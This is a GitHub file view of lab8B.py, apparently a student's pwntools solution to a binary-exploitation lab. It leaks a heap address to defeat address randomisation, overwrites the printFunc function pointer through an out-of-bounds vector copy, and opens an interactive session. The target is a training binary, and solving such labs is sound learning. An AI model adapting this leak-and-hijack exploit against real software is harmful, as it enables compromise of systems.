-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlab8B.py
93 lines (75 loc) · 1.41 KB
/
lab8B.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
'''
Bug is where it tries to copy the struct vector in v3 to the heap. It does
&v3's memory address + i where i is index. So if I create more than 1 fav,
I can control the printFunc() --> 7th vector is in my control.
'''
#!/usr/bin/python
from pwn import *
sh1 = process("./lab8B")
print sh1.recv()
raw_input()
# Win address is randomised. We need a leak.
offset = 8281
# Secret = vector2_address - 8281
# Enter data in vector 1.
sh1.send("1\n")
sh1.send("1\n")
sh1.send("A\n")
sh1.send("1\n")
sh1.send("2\n")
sh1.send("3\n")
sh1.send("4\n")
sh1.send("5\n")
buff = "1"
sh1.send(buff)
sh1.send("\n")
sh1.send("7\n")
sh1.send("8\n")
print sh1.recv()
sh1.send("1\n")
sh1.send("2\n")
sh1.send("A\n")
sh1.send("1\n")
sh1.send("2\n")
sh1.send("3\n")
sh1.send("4\n")
sh1.send("5\n")
sh1.send("1\n")
sh1.send("7\n")
sh1.send("8\n")
print sh1.recv()
''' LEAK!!'''
sh1.send("3\n")
sh1.send("2\n")
b = sh1.recvuntil("void printFunc")
b = b.split()
leak = b[10]
leak = int(leak,16)
win = leak-8282
#Re enter data.
sh1.send("1\n")
sh1.send("1\n")
sh1.send("A\n")
sh1.send("1\n")
sh1.send("2\n")
sh1.send("3\n")
sh1.send("4\n")
sh1.send("5\n")
buff = str(win)
sh1.send(buff)
sh1.send("\n")
sh1.send("7\n")
sh1.send("8\n")
sh1.send("2\n")
i = 7
while i>0:
sh1.send("4\n")
i = i - 1
# Load favorite into vector 1.
sh1.send("6\n")
sh1.send("6\n")
sh1.send("1\n")
# Trigger vulnerability.
sh1.send("3\n")
sh1.send("1\n")
sh1.interactive()